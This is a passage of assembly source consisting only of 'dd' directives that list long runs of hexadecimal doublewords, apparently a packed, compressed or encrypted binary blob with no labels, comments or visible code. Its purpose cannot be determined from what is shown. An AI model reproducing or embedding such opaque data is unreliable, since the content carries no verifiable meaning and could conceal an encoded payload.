0F122360Ch, 0CEB625E0h, 0B926A022h, 0B30BFCDAh dd 65A9B5E1h, 32BFC404h, 0EDBCA335h, 5CD0E549h, 5BB6CA2Ch dd 5CA46C27h, 23201C8Ah, 0AB002AC5h, 0F13DE04Bh, 9FD8A8A2h dd 3AECA42Ah, 804CEF38h, 7D0A7C4h, 303944B4h, 0FDCBF0h dd 0B15F2E78h, 0D7BEE51h, 0F42F264Ah, 0F3004923h, 9FAB7DA6h dd 68BD0047h, 772CB49Eh, 0AD31C2AFh, 49D7709Bh, 0D8B940E1h dd 9F82C84Dh, 7328522h, 0C1E0D8E0h, 0FAB14h, 0E5835D5Bh dd 0B0EA328Fh, 55B450C0h, 1261CE9h, 0D80D7139h, 34484349h dd 0B9EFE230h, 11D04829h, 7F078433h, 84F0ADF7h, 6CD0D21Ah dd 0A558405Bh, 0CAD70C5Eh, 0F168AC6Dh, 0ADAEF90Bh, 35E8217Bh dd 0B7E14E59h, 4012C66h, 92F5C48h, 88A50C69h, 472CFC96h dd 88202026h, 82592880h, 6054160Ah, 0A43A98B1h, 4141E43Ch dd 703B6B2h, 0E95AC7E3h, 0F00FEC40h, 7BEA55DFh, 0C85C92A5h dd 0E6806640h, 1FBA489Bh, 92FC07ABh, 3D12073Bh, 223C3C79h dd 196801B4h, 1B545ACCh, 4B202843h, 83A6EC08h, 0A885CA90h dd 94B683Eh, 9078382Fh, 12ED648h, 0FD22AB7Fh, 6CFA59B3h dd 2D9F0C30h, 0E391B2h, 22F3C3FFh, 38D50A9Bh, 0D42C0812h dd 6E236842h, 0CC020B74h, 780AD7E2h, 5A24CD40h, 422D805Fh dd 40DDBB18h, 6332AA20h, 0A38C2963h, 0FA0C3100h, 0E19CD510h dd 50CE028Ah, 0B0774487h, 76C2D9E0h, 21B9DC26h, 5C68822Dh dd 3A04CF2h, 0A60D7876h, 0E100B0EDh, 59068CF3h, 0C59380h dd 382E77FAh, 0BACFFFB8h, 0DF677500h, 2F505CE9h, 0F5EA26A0h dd 8462123Dh, 4B8B3E8h, 8B95E136h, 563E3CB7h, 94211D25h dd 0DAFF8857h, 620F1841h, 307AF224h, 913EFD11h, 6D7C8952h dd 2E1C21D4h, 0DAC6A9EAh, 0B2872CC4h, 0A4B49FB8h, 2B2D00D2h dd 0F1EA2FECh, 58B4A549h, 43D1730h, 335310C8h, 0F1B9895Eh dd 9AED2h, 8611BAFCh, 4960C7A4h, 0E17B5412h, 2D5C518h dd 936060B4h, 4896816Ah, 0CE0C68F4h, 60F22E7Eh, 78974826h dd 19EFFD03h, 0A806B163h, 0A4BDBFDAh, 82734848h, 0BE09530Bh dd 14C0002Eh, 0BB19ED3Ah, 44454Ah, 8C8570Ch, 0E98498D5h dd 4D215E1h, 5FC8812Dh, 0A869009Bh, 0D5DD2CFAh, 7FB6418Ch dd 80C06997h, 0A3305087h, 34F24E05h, 0A8E862A8h, 88908078h dd 4E584E48h, 9A59E447h, 9840F4FAh, 967F6E1h, 0A1E6C206h dd 6356FCA2h, 0EEF5E8C6h, 285CAA0Eh, 0F1E34C43h, 85CE39FAh dd 0F0904658h, 0B4D59B96h, 0A54908D0h, 0C1DC10ADh, 66DD0088h dd 36DCF0ABh, 0C30954EFh, 669BF99h, 16F9B358h, 0D721D60Dh dd 11CA3188h, 0C0405A2h, 6C972224h, 585400A9h, 342CF673h dd 9101E21h, 94B0BAC0h, 71114807h, 0A388212Fh, 47FF9380h dd 18886D7Fh, 19AC5574h, 6000F79h, 408C490Dh, 17A70A57h dd 484E756Dh, 6FC082B4h, 46EE0D15h, 612252h, 641557CBh dd 0D126781h, 0DA91F400h, 8EFDB1E1h, 972C30E2h, 0C655AA58h dd 18AE0624h, 2DF95402h, 5ACE48Bh, 7411EDFDh, 808C05ACh dd 4244C4BAh, 0FEEA4BCCh, 533F8C9h, 0D41D5C05h, 0C2F9C17h dd 7D267923h, 2E0530Fh, 448B4974h, 10B4B0E8h, 54AC411h dd 0F75E322Ch, 0FAA2CC0h, 5939005Dh, 1DD3D9E4h, 20B5389h dd 1B4080Eh, 6C794CBBh, 0C7D5BDE0h, 0ECD81708h, 8D014E20h dd 1671E1A3h, 10847214h, 2656A19Bh, 365D1130h, 6B220006h dd 7A8BABCBh, 8352392Ch, 211A0866h, 0CB634700h, 0A4E00FFBh dd 0DE8C28AEh, 25A4624h, 8BA8CB68h, 101F3162h, 0CB6044h dd 0DCBC6A12h, 0F4F6DBD8h, 37A02500h, 22272F9Dh, 0EFE0C20Eh dd 6E009E18h, 7A41CAD9h, 20216095h, 39B87DBh, 97086403h dd 15D79Dh, 0BF589E18h, 0A401A71Ah, 0F051E130h, 0EF90D6Eh dd 2468B1Eh, 40BB8D85h, 6D9CFA4h, 5A03C574h, 0F7E3BD9Bh dd 2B8E824h, 51F0305Fh, 0D15B6E29h, 4ED76101h, 46CF0C32h dd 21670898h, 0D10F538Fh, 85B04765h, 0B804CDEFh, 39045005h dd 1C9AC0EBh, 930F8F54h, 8018EE85h, 41C0EAC7h, 0D34D065Ch dd 504E0EF6h, 8089053Eh, 343BA07Ch, 0DC67A9ABh, 6598F048h dd 0B703D75Ah, 862335Fh, 0F4CEF86Dh, 0E3070C0Fh, 8B68266Bh dd 4991930Ah, 98BCF819h, 28610BF6h, 68C500A8h, 1226A291h dd 8CC9289h, 4A211Fh, 69F8C5A0h, 0F18F4467h, 0AD16790Ah dd 0F01DCC20h, 0E6D0140h, 28D5F5C7h, 44C87F57h, 8900748Fh dd 59049C20h, 0F8ABBB4h, 7806B83Bh, 11EAA3C3h, 2E3B68A6h dd 97600065h, 8F067274h, 2808CC4Ch, 5D0E5321h, 0E0221811h dd 0F7E2ABE1h, 79C802CEh, 3E8FDB91h, 7F71A890h, 55146C91h dd 0C5A98074h, 8CAA9169h, 0F4B2044h, 0AB3BC5A1h, 11EB9101h dd 590CDBE3h, 2916F752h, 3DECEC99h, 0FC80A735h, 0E5FDDB0Ch dd 6E4826B1h, 49931450h, 0CF017788h, 0B8D2C5E1h, 0E3D69903h dd 4DD78FAAh, 90479795h, 658EF798h, 0E0143923h, 0C9B107Ch dd 290D2876h, 99FA0280h, 23855DC8h, 18F788A3h, 49909100h dd 0E0134206h, 64E10035h, 822954D6h, 20068AEAh, 1EF40B8Bh dd 830209C8h, 6586D111h, 0E037016h, 6152677Ch, 0E0BBB093h dd 9758C70Fh, 901AC48Dh, 0AF609FB0h, 3DC0D80h, 0C5915AA9h dd 20011073h, 5825764Eh, 204EBAA1h, 94AC4F11h, 117B10D4h dd 0E3BFD706h, 1D37902Dh, 0CFBEA888h, 227B84D9h, 19888010h dd 93931D89h, 1F30F880h, 0C97F3DAFh, 0A4FD592h, 0BC900900h dd 0C66B1D80h, 0DD132EFh, 2D73BE18h, 205C8799h, 0D93C6243h dd 23A718D7h, 708D9B10h, 24254C33h, 48AA2C50h, 580CA04Eh dd 0CE7803B6h, 0A1202C98h, 2137A69h, 0D3CF1878h, 0B88C2A33h dd 6A054E29h, 0C253E3E2h, 1EC94079h, 0F2208008h, 0C4010D24h dd 41685A35h, 19CFECh, 37CCE0Dh, 95E68D59h, 1FCAE7D3h dd 0B40C5842h, 749F360h, 868B00C4h, 1512830Bh, 69DF6588h dd 0DA8430Fh, 98BED39Eh, 19017332h, 0C1E56085h, 8DD50C0Ch dd 4F2017B7h, 0B37BCA8h, 0EB26E1C0h, 1615CB7Bh, 3ABBFA46h dd 1A2304h, 0E0165DAFh, 1760EBDDh, 1CA00499h, 0CC3E00D3h dd 8907D08Ch, 96AF70Bh, 0A23D04E8h, 0F004245Fh, 10EC1F4Ch dd 92110925h, 0D704131Bh, 48216FD2h, 402FBD50h, 77EED91Dh dd 8F883451h, 91191F40h, 2C69311h, 0DC15D59h, 0CCAC8268h dd 13F70303h, 3AA32100h, 6FBA8A7Bh, 0F51204EAh, 0C25E8C27h dd 0A7305344h, 916710C5h, 9F49E09Ah, 0F5EF05C5h, 8764E6C2h dd 0FD8E1378h, 0D1CD2613h, 61C82800h, 643429B3h, 520EE972h dd 31578804h, 206FC410h, 0AB804014h, 0BA916BC5h, 4DC0F899h dd 7761C5A3h, 1DDF0435h, 81F846C7h, 30BBF10h, 0B573AB4Fh dd 12F49814h, 5403FE36h, 47F9FD7h, 5D077819h, 9DF0C986h dd 0C40B1948h, 1442FF0h dd 62967922h, 40978030h, 6739CD32h, 135D82A1h, 641647E3h dd 3D0130ECh, 0F3CF5A38h, 43FB4403h, 10586D77h, 6228C778h dd 2E2BA8h, 1A978757h, 0C015F680h, 0F038D7E1h, 9200647Dh dd 2F20727Ah, 5889D20Ch, 407294ADh, 0F01883Eh, 0CD06C7E4h dd 0B020642Ah, 1EFE2C08h, 665986A8h, 30032816h, 45895E55h dd 77B5F1E4h, 2405D821h, 35CE3881h, 0EA39DC26h, 0BF8CD4h dd 173D1555h, 0FF109A97h, 5604E5B8h, 0D3686B6h, 66389090h dd 101C0152h, 0DF330283h, 240BCC12h, 61503F60h, 35D3916Dh dd 811032D7h, 65E7D38h, 887645B8h, 5564D18h, 20024358h dd 27ECCF54h, 0DBC8B650h, 4C991340h, 0A5174C03h, 0BDB045F8h dd 37B0466Bh, 9B00A116h, 1F9054B1h, 1AFD2D5h, 0F1C5767Bh dd 0E0889A52h, 2E4846D9h, 4961309Ch, 147C774h, 1AC25E9Eh dd 6072481Dh, 21C9918Ch, 43DC10F7h, 0F12C1E81h, 2FC000F4h dd 0A70AF044h, 42610D01h, 6746815h, 0E1BFC41h, 20995907h dd 4195CCDEh, 0D0592900h, 7617B19h, 9389145Bh, 972AE490h dd 56F12680h, 59AB8024h, 5AFE9A84h, 0B8C879F2h, 0FD06B954h dd 6122EAA8h, 0D9F8B00h, 4A8F3C7Ch, 0C82E0965h, 0DD00E16Ah dd 9AA01B2Dh, 0F0A12230h, 4867A5F1h, 44CE858h, 0A6F0D126h dd 362F0874h, 2B959705h, 0C46014D4h, 0FDD3920Ah, 0CD11E450h dd 6F98C802h, 9E11A8ACh, 5BC2608Eh, 26314C97h, 11582017h dd 0EF184925h, 84A0366Ah, 71C8A0CAh, 20C8234Dh, 7FC54102h dd 234CB32Ch, 611D9F78h, 54975C84h, 4F202362h, 92751159h dd 0E172558h, 52855022h, 37604C42h, 6C64464Ah, 8F4323E0h dd 0AFC17CE1h, 5E1FC057h, 7328B0BAh, 0D320A098h, 12AC8C16h dd 60F0C7CEh, 0FDA38DBCh, 8068796Ch, 0DA8A889h, 6D05249Bh dd 41264498h, 60E1A38Bh, 3BF7710h, 8341756h, 0CCE58DB4h dd 5A5055D0h, 538A8D34h, 0C4427090h, 1ADC260Fh, 0C0500FF2h dd 0D8176EB7h, 8229C005h, 62AF73E6h, 1D2BD4A0h, 126AC183h dd 50988474h, 4A29A8DFh, 1DCC41F9h, 0F117EAB2h, 6249920Ch dd 27D34004h, 6F5B9E00h, 0F105CF58h, 49E54F3Eh, 0F46D4CC1h dd 0F70C8104h, 0CE88441Dh, 0C023C874h, 1F2AE5FDh, 2364292Ch dd 9320E428h, 0B95D0E18h, 12AF8DE0h, 172E2C54h, 0C58E0696h dd 0D4993242h, 88643E11h, 0C5AD6159h, 0A4CA3820h, 4F1D4444h dd 3CC5A501h, 148B5D6Fh, 3F975424h, 89E0479Dh, 91F1D6C1h dd 381F174Ah, 0BB05B100h, 41D9CB85h, 875DF064h, 74412460h dd 3C861C93h, 1937A6CBh, 41548421h, 1043A597h, 0C6240429h dd 88C78374h, 0F1D9B1CDh, 0AE718059h, 67954152h, 0AD30C01Ch dd 3769F8B3h, 42DC3A55h, 0F8335B2Ch, 468BA9CBh, 119226Ah dd 40CB6145h, 91FF02A9h, 1106B180h, 0F81BC7C5h, 9510888Eh dd 9E022E13h, 58F9AB0Bh, 1D219844h, 68223CFFh, 0E8D68CA1h dd 2441D40Bh, 8B9DD864h, 0FA4F7810h, 0D068274Ah, 75FF405Fh dd 1100E174h, 0B53476D1h, 427900Ch, 2C0391A8h, 43EB061Fh dd 5E2896A1h, 0B90B2A46h, 59008EE4h, 90419FCFh, 2F198C90h dd 2CD8DB38h, 0D543630h, 5209AB2Bh, 0E13821D9h, 10D42915h dd 257CF4C7h, 240A2B8Fh, 53460C00h, 768CA598h, 52B49067h dd 25224C84h, 115F5500h, 0B67821F8h, 191F63EBh, 80B70765h dd 0EA84EDA2h, 0CA1D100h, 2ECA391Bh, 40AC4CDDh, 8203B11h dd 3B5FF5CBh, 97131202h, 2048BBC5h, 0E8C2C2D9h, 71D8B83Dh dd 1FE1F110h, 875EE1C8h, 6023449Ch, 5A173269h, 617C31D3h dd 0F0CC0463h, 7BA001F6h, 4C8CD1F2h, 378840BCh, 1E6223BDh dd 44BFCF90h, 7A7D0988h, 5C0463B3h, 384953FEh, 69D46813h dd 938F88F3h, 0A406027h, 0C4387014h, 1CD0AC5Eh, 4614D285h dd 48105788h, 9D705202h, 0C19EB11Ah, 82FE3BBCh, 0C83D9C30h dd 5699D3BCh, 21022CE0h, 3EAB9390h, 0F9293CA2h, 82E2C02Ah dd 4DBC4C10h, 382840F9h, 7B7CA128h, 0C8635212h, 0D10014FAh dd 3C931EC6h, 1CAC57DBh, 0E500F468h, 6289BED3h, 3D42494h dd 0C5994CFFh, 0E912053Bh, 0B0539398h, 48C85C12h, 91210AB8h dd 4CA42C0Bh, 70E85D7Ah, 27F90499h, 0DB076118h, 24CBA7D7h dd 0A05C0B72h, 7193C998h, 61289E63h, 2CF83088h, 874980FCh dd 6C2F9h, 0F0140332h, 858D1E73h, 167CD776h, 2379DAB0h dd 14780CF4h, 98895A3Fh, 610E0721h, 0EA684AE9h, 83D14443h dd 0FF749EBDh, 60840FC0h, 8D2B211Dh, 1AC12E35h, 4E37B966h dd 0F1026A88h, 61B58903h, 0E9201829h, 0F88B373Dh, 91E426CCh dd 3052E06Ah, 202103E8h, 96D6C35Ah, 1654CCFFh, 524221C0h dd 188025C3h, 170EE8C0h, 0F6002A3Ch, 33DA9F3Dh, 18C6B9Bh dd 0BDDB25CDh, 99FFB70Fh, 299D17E9h, 821FE9F0h, 3A857130h dd 569C238Bh, 44C35E0Eh, 19627489h, 0C3564620h, 2F572DEh dd 321E0CFh, 34A7998Dh, 4417049Eh, 14F2F84h, 450899A5h dd 8115695h, 58C3503Fh, 448991C3h, 40881A18h, 8BC31F50h dd 401E9D03h, 9CB5A9B7h, 42F35EE9h, 5B305329h, 4689E4C3h dd 118225Ch, 0D6C35343h, 2056055Ah, 0BF066698h, 7E99963h dd 6580325h, 207F37F0h, 8BF961D0h, 951BC072h, 0C3D21DB5h dd 0F1FC1ECAh, 75312010h, 0E251209h, 50197410h, 0B83C5363h dd 0D95F41D4h, 248218F1h, 0A7529D8Dh, 0D3FFDF80h, 22AC585Bh dd 200F1741h, 90A44111h, 301222F6h, 0D80B09E8h, 6A0233FBh dd 0FC3BE15Ah, 0D38541D6h, 0E781A0E3h, 33801FA5h, 0E112D88Dh dd 8F6E0FC0h, 3F68053Fh, 23B8F011h, 0C35F0E57h, 627C8944h dd 5747201Ch, 0BE006EC3h, 2BFC1E07h, 28FDCF6h, 804CB760h dd 0A9405DE5h, 46DED9Dh, 1088627Ch, 0B9401E4Dh, 6B750EFh dd 0D595FF42h, 81011A24h, 0F7E1F3DFh, 0B2B9855Eh, 200B89FBh dd 4823040h, 0CE979B9Ah, 1CB59D61h, 9972D44h, 914E1D59h dd 8B018014h, 0A00789BDh, 0E2950329h, 2908A334h, 0E2C5504h dd 8944C35Dh, 307CE6Ch, 50C35545h, 0C9E0E7D5h, 651DF69Ah dd 0E94830h, 0BE13BB3Fh, 0B036FD2h, 38673E8Fh, 0B07880D6h dd 47E604EEh, 0C1E0171Fh, 1F2794Ch, 3F800DE9h, 0A68CCE9Bh dd 0B602107Eh, 0CB5538BCh, 90A5634Bh, 0C4E82BFh, 13E952E0h dd 92903B33h, 0EC5E1E00h, 0DB0591EDh, 4E9000DDh, 0AF7FCCC4h dd 9690E8F6h, 26276A58h, 5AA12183h, 1C8CEC00h, 500DEBh dd 84CC9BF6h, 0C1043C83h, 23CE0803h, 188FABE5h, 3705E942h dd 25185CDEh, 311854B4h, 0A2D2A95h, 0E5B518ECh, 0FF680C03h dd 0ECB878D0h, 8E008C1Bh, 3F57DC5Eh, 0A0F466EBh, 821279EBh dd 4ADA9281h, 0C81D62BCh, 74FAA441h, 0B5131546h, 8D2F04B9h dd 4219465h, 2F0F8D8h, 4A1D9D01h, 0FA31862h, 28739188h dd 18F12867h, 8ACE441Dh, 2B50CA04h, 59D71595h, 11FD9D79h dd 0F735801Dh, 4AF9E0h, 63C6555h, 0F1950BECh, 0FF147192h dd 743B9BB5h, 8087F9F1h, 67E98111h, 9103454Dh, 1F0A11D0h dd 30D4E88Ah, 0FEB7126Ah, 0A49FD408h, 93570DCBh, 5A0A0860h dd 7D642262h, 20024404h, 32812C4Dh, 1B801405h, 75EDC0Eh dd 0B5BA106Ah, 0BF31705Dh, 9529E4F8h, 2864E803h, 0BEEA8140h dd 7856B473h, 75A466CAh, 96E95271h, 6D50533Bh, 0F1EC0042h dd 874D173h, 662BF78Bh, 811FCF5Fh, 94CBED84h, 0A164B884h dd 0FCD7C81h, 9354E606h, 48EBC53Bh, 0E9B12673h, 3A1818F9h dd 1628B071h, 0FD34A112h dd 0C1645C23h, 96978C1h, 7C9018A4h, 7E0E1846h, 0AE0B7C86h dd 0E4BBB018h, 9D1AEF06h, 0C4581C60h, 1419C96Ch, 0DBD1087h dd 0E918FF46h, 0D8444111h, 87A78B00h, 0BAC08EAFh, 6B3301AAh dd 0A6737084h, 8B9E42ABh, 0C03BBF23h, 24016DCFh, 0A6A8618Dh dd 0BD235018h, 3B2E192Bh, 0F5150424h, 623C56C9h, 931321B2h dd 0E849E426h, 9FDE0610h, 6AC7AFA0h, 7C8C609h, 226301B8h dd 0FA8C5FE2h, 7F2D0BE8h, 1F6E790Eh, 648580F4h, 98C57757h dd 4625013Dh, 68593CA5h, 12F8580h, 9944F9B5h, 40CE036Ah dd 77C01D88h, 38671ABh, 0BA2C6F3Dh, 0DA78DC7Eh, 0D3911258h dd 110CB405h, 0ED83B6D5h, 59099C35h, 20C0AD49h, 93D0C524h dd 624C5DA1h, 90087DAAh, 8003D9A1h, 0B9000DBAh, 0BF0F2052h dd 50F883CEh, 4079A4FFh, 290C6005h, 30313DB5h, 61CB0E8Ah dd 0FB2C85FFh, 8C580F5Ah, 0FF7EB033h, 6FD7003Eh, 56D3ED06h dd 80075EEAh, 0E5F46B03h, 6118E481h, 2502FE21h, 0F9FE4102h dd 0E3299F53h, 0ABC8DCF5h, 5B24383Bh, 3A028C58h, 8E84F50h dd 902AEB23h, 548C963h, 8D29D9E1h, 5F9F43EDh, 4210D0FFh dd 10691E8Eh, 0B602E032h, 0BAE42689h, 94FBA0Eh, 2F8F1284h dd 42FED888h, 0C181F0D8h, 76B2099Ch, 0D3092B21h, 110E8511h dd 0AEE0DE5Ah, 0B10A0145h, 0D0077038h, 0A86E3173h, 0C71227ACh dd 2A896134h, 925CEC2Bh, 9B8D0BEh, 3800E55Eh, 6EEA86C4h dd 4F9EC0Ah, 7C6157FEh, 90478645h, 4FC2220Ch, 370F103Eh dd 65410C80h, 1CB4248Fh, 64362CEFh, 1B24A3C9h, 0AC84D78Ah dd 48DDAE8Ch, 492EE0Ch, 0A71C5D0Eh, 0A2BA5326h, 0EC033117h dd 59B9E131h, 0EFA07DA5h, 4A0A94B7h, 23171800h, 320497BCh dd 67B1528Bh, 40991B50h, 62B1590Ah, 30564F64h, 3A0E87A2h dd 667CBA2Ch, 0C09E4DC9h, 1020D2E9h, 43657848h, 908C21B7h dd 21209780h, 508B6660h, 59CAC0CFh, 5C968961h, 502E8EB1h dd 252BBAC2h, 0B1E8CCCh, 4CE1998Dh, 398C51C2h, 8917C359h dd 41BB384Ch, 0F5C3510Bh, 0BD753911h, 0C70324C5h, 0A02D7DE1h dd 0B628620Ch, 31D0B3E9h, 1C786B3h, 0B8621EFh, 961C1B20h dd 0EF4CBB27h, 587DEACBh, 7580FEF3h, 505F9744h, 1CD1AAB1h dd 2C005E18h, 736CCEBBh, 28DDCCE2h, 163D810Fh, 22F59D09h dd 0D7E101DCh, 0FDF86B1h, 2C290283h, 0A975D18Bh, 1814F967h dd 0BD890AD6h, 44CE10DDh, 60514097h, 49299D8Bh, 627E9D0Bh dd 5F6199FDh, 0D0B23E92h, 0F087B36Ch, 0D2601744h, 337FCD7Ah dd 0C056095h, 86E8484Eh, 2A931980h, 72F523C3h, 610E0029h dd 0FE594A55h, 0AFFA01B7h, 84685A7Bh, 0F21BEC1Fh, 0A98D8917h dd 0D25F044Fh, 5887DF35h, 0BCF20AF4h, 441A84C4h, 0BE98CB8Bh dd 2098B060h, 81982A49h, 0A461FB26h, 0CE2AB127h, 0C5BA2B13h dd 0FD504C49h, 419026D6h, 508C58E6h, 4F80FE91h, 0B4DCD44h dd 2BFB9C5Ah, 0B37257Eh, 319F3A00h, 1E109D4Ah, 3195ACDFh dd 22E9C8C4h, 7AA0386h, 88E2A1CAh, 2B35FA25h, 2FBE818h dd 12719D89h, 8F451D44h, 7F5B601h, 0A584C673h, 0D021291Bh dd 0E90F0229h, 65FCF726h, 0A5381810h, 7A000A77h, 6CC78F8Ah dd 6E4403Ah, 0E0957F52h, 0E82266B7h, 54F95DFBh, 81105C53h dd 85277E34h, 0A64C88B5h, 1CE9D604h, 6CC7BD94h, 1DB14080h dd 9DB5248Dh, 3769ACF9h, 5A40989h, 8E905A0h, 3F590B00h dd 2EB619FDh, 24132B3Bh, 1B46740Dh, 0AE84C900h, 0CD51ACDBh dd 5C159858h, 0B1BD84EEh, 4BF7FA0h, 6549D9A7h, 0A2EAF36Ah dd 0BAFA3018h, 0F06D3C07h, 599D08Bh, 2ED2552Bh, 69A18259h dd 0E497D218h, 8D62B3F3h, 199B298Dh, 5A7218Bh, 74291444h dd 6F37D025h, 6A184700h, 0AD698B1h, 0D5563420h, 76509E7h dd 0EA046F46h, 56533BCCh, 1FB53D81h, 6342F322h, 19A29343h dd 56D8630h, 735DE762h, 509788E9h, 56EE2000h, 0CABF92DFh dd 5CB2F249h, 2F4E91ADh, 1C2360h, 0F06F71B2h, 9202F366h dd 0BD01256Bh, 0B9D45085h, 1FD9F127h, 9E5ED9C8h, 4013DC8Dh dd 6042202h, 560930D9h, 25E12702h, 0A33E5A05h, 72041423h dd 0AE2870Fh, 2D719508h, 1520A528h, 32504A0Dh, 0C3F72917h dd 0D827247Ah, 4B00DEDDh, 90D9AE6h, 2889BE98h, 5E9A53FCh dd 3394F55h, 431DBA7Ch, 20067650h, 16FB8110h, 83BA5BC0h dd 7059281Dh, 69CECBF7h, 0B921CF78h, 5B21D00h, 55E0C450h dd 606A0423h, 1F2D9FCCh, 0CBDAC7h, 92383331h, 3F038FF2h dd 0BCC13093h, 0A84E690Dh, 990054ECh, 0D2D984F2h, 0E723F0h dd 0DDEC6EB4h, 4EFBA50Bh, 61F0FD7Dh, 8501500Ah, 0A4B0AED9h dd 0C7E9C280h, 668F50Ah, 0F924C318h, 0DE8F53h, 965D704Eh dd 0E102796Bh, 4AB9932Ch, 7176009h, 11148D7Bh, 0FA041F95h dd 0BA0C3115h, 0D62A92Ah, 670B7516h, 601DC405h, 7F61735h dd 0A87A3F60h, 830C159Fh, 0B6E4C181h, 0ED401FA2h, 2556900h dd 5F25A25h, 0D5F819C7h, 6355995Ch, 0E5E60A60h, 7200FF30h dd 2776D22Fh, 13770DBh, 0E1CB9BD3h, 6471BD2Bh, 70B35F63h dd 0DEAE24h, 6634706Fh, 0E98D638Fh, 102E3725h, 7B5B267Fh dd 0D1F92477h, 0F257C60Fh, 0D51BE124h, 0E6184042h, 46730256h dd 526D6CB0h, 822DB9E9h, 1185C72Bh, 0A5CC5113h, 1A916017h dd 0B1157180h, 0D4268AD1h, 0C90B2436h, 44DF9E2Fh, 0B9066625h dd 8C3D9B2Ah, 5BAEA013h, 84549E01h, 306D8Dh, 0AAA9D281h dd 6178249Ah, 0B70F60A4h, 98543DC8h, 80883A21h, 363CEDF2h dd 51F804D6h, 1B811304h, 263CCAB7h, 0C18F9CDh, 4109D29Eh dd 82E442BDh, 670FB680h, 0BC6E2FBh, 0BC6083Fh, 40FBB25Ch dd 8D133303h, 80D40C1Dh, 19889E8Eh, 632BB7C0h, 5A72EC89h dd 4E2422F9h, 14F191D9h, 0AAC4D218h, 0D122661h, 41AB4952h dd 190FD946h, 0C247A021h, 0B9E94EAFh, 202EF517h, 4A36BA13h dd 1482FFEh, 0DE02206Dh, 294A20AEh, 47C7D1DEh, 69415F6Ah dd 23D2E909h, 0ED33C3Ah, 22FFF19Ch, 98A9BD0Bh, 91A6B5B8h dd 7DDF813h, 7DDC28Fh, 0EFFC1217h, 0EEF99CC8h, 660C9481h dd 0B79590FBh, 0E3B404B5h, 0C5DA8196h, 0A30C0520h, 0A4805D02h dd 952B0CEBh, 85A509CDh, 0CC82F9E2h, 9C895812h, 0E222E2Dh dd 0CC0AFB7Dh, 32967260h, 97C97A75h, 7C01C326h, 0DD2D1151h dd 204E06F7h, 11961719h, 0A3F54D1Eh, 4C622AB4h, 0DF002B9Fh dd 796EEBA7h, 4058612Fh, 1C2D1563h, 0BA668045h, 646A3145h dd 0F1156C34h, 413D7806h, 0BD70FE13h, 4C1FDD6Ah, 82040713h dd 8C400168h, 4C3F6DBh, 2645890h, 8D82C619h, 68560008h dd 0A831B852h, 0C2D5E9Ch, 3B4E7241h, 6A166732h, 10ED0804h dd 8164B73Bh, 8AF0BADCh, 68472D10h, 18AC9B08h, 414F3ECh dd 841EF08Bh, 0E483684Fh, 213CDE2Fh, 44CA2B25h, 0C07DEC1Ah dd 0C2562835h, 75C08518h, 68417598h, 8764980Ah, 10D32ADBh dd 0A0FC09D0h, 72A4684Ch, 208056E7h, 279D8B85h, 45BE288h dd 0F5550C50h, 15B0C254h, 9E9103C7h, 0C43083Bh, 7D26B002h dd 85801434h, 0AA0958EDh, 53021AA4h, 49B53419h, 28174491h dd 6804456Dh, 92A5F797h, 39296504h, 0C02679Ah, 32752EB0h dd 0C0DA66A6h, 234E35A1h, 0C9E32C0Ch, 661CF046h, 81C3FB8Bh dd 0F7792E9h, 172E84B0h, 4784F5C9h, 0BA95404h, 64505EBEh dd 6119006Fh, 8ED385EEh, 0F7002D1Ch, 0C50D9EC8h, 2175899h dd 64445563h, 668C35FFh dd 8A3EEA6Ch, 36892E4Ah, 2C9B174Eh, 0A0F5C081h, 0CBFA302Fh dd 0C92EC098h, 3A64660Ch, 85F5BA40h, 24C46FAAh, 481301CDh dd 57872842h, 9F4805Ah, 0D19FEEE8h, 7F344A19h, 123192C3h dd 49AAE969h, 5E89563Bh, 5912E972h, 0F2A0DB33h, 0C0C0832Dh dd 71A28D0Fh, 0A040BE27h, 640B073Fh, 96A08F4Ch, 608880ABh dd 1F04E681h, 6152E538h, 71D78C1h, 0FFFB8300h, 0B110E6C8h dd 91112180h, 0BF035499h, 5298F137h, 2B5AA1D3h, 1B23322Fh dd 94B12E00h, 2A7FB5Ch, 89532C37h, 0ED0458Dh, 91E85F29h dd 0BEA2E200h, 1076853h, 0CD5DB9BAh, 838B5F24h, 81C70C60h dd 0FF2D33A4h, 0B8D38303h, 97041528h, 5C8BC318h, 0E1E85530h dd 0ED815D10h, 1453A649h, 501B838Bh, 2F409C5Fh, 5D0CA989h dd 0E7F82742h, 601644B7h, 0A13315EBh, 0C233C1E7h, 0A3849C35h dd 3019A2D9h, 0F2049FA5h, 506E595Ah, 18F2F2B2h, 0AC25E033h dd 0C5A1507Bh, 4839EFD5h, 0A7E7F18Fh, 0EF41B0AEh, 179BA31h dd 0E35DD70Bh, 683C8149h, 0D227C687h, 1ADDE862h, 0FE2D30Ah dd 0B906828Eh, 4B8200Ah, 480055D7h, 0F7816405h, 165BB0Dh dd 0BA8685D4h, 2F34B640h, 5FE83006h, 0ED770Ch, 4D5868FBh dd 0C70A7556h, 76340894h, 8A4EE489h, 10414558h, 448D9960h dd 1B80906h, 0E7C8084Eh, 0F6D75CB7h, 4423DFCh, 8824F110h dd 20875EB9h, 0C1A45A08h, 4809880Fh, 34489ABh, 51E62680h dd 88BA21BDh, 8B8C028Ah, 55E9A8D3h, 6FB88247h, 392E310Eh dd 115306Eh, 780045B8h, 74706563h, 396E6F69h, 66BB4920h dd 616D720Ah, 3CA2280Ch, 73B9656Ch, 63202C8Ch, 0D7F37418h dd 68AF8E9Fh, 1F731FBFh, 59771F66h, 0F1641272h, 0F56CF976h dd 73DBE770h, 0A26977D9h, 76CD1D34h, 1C8D266Ch, 8E67676Eh dd 0EB2E7340h, 0AF728F54h, 0AF79AF6Bh, 0D0A6675h, 14CFF04h dd 80706628h, 43076E73h, 2B4C5254h, 28EBFB5Fh, 0F2466978h dd 187ADB64h, 702A7BA6h, 6C3C0879h, 0E262BF69h, 882964DAh dd 561A4236h, 0FBA613DFh, 0CE25FB3Dh, 0E843601Eh, 4E496B63h dd 1C640FA9h, 5455234Fh, 6F725087h, 0F211DFAh, 0F193B6Dh dd 0B61AF304h, 850F1C3Dh, 50A5BC1Eh, 1E5308F5h, 22E158E9h dd 4E982A51h, 0A2012D2Fh, 6A27103h, 0DB220E50h, 5CB7BAA1h dd 81364E80h, 2D142427h, 28191730h, 89B10737h, 8BEF1632h dd 717B0224h, 0F1C911A2h, 21254A14h, 0A201C23Bh, 0E2471035h dd 4F90354Eh, 90356CE2h, 3555E24Bh, 5DE23F90h, 0E2439035h dd 0C231564h, 1E2FF108h, 420BACE9h, 0FBECA5BDh, 0CD0D9554h dd 85160142h, 69713111h, 0C2810031h, 0E91C40F8h, 8D230F62h dd 0C44F195h, 40283452h, 3BD4C30Ch, 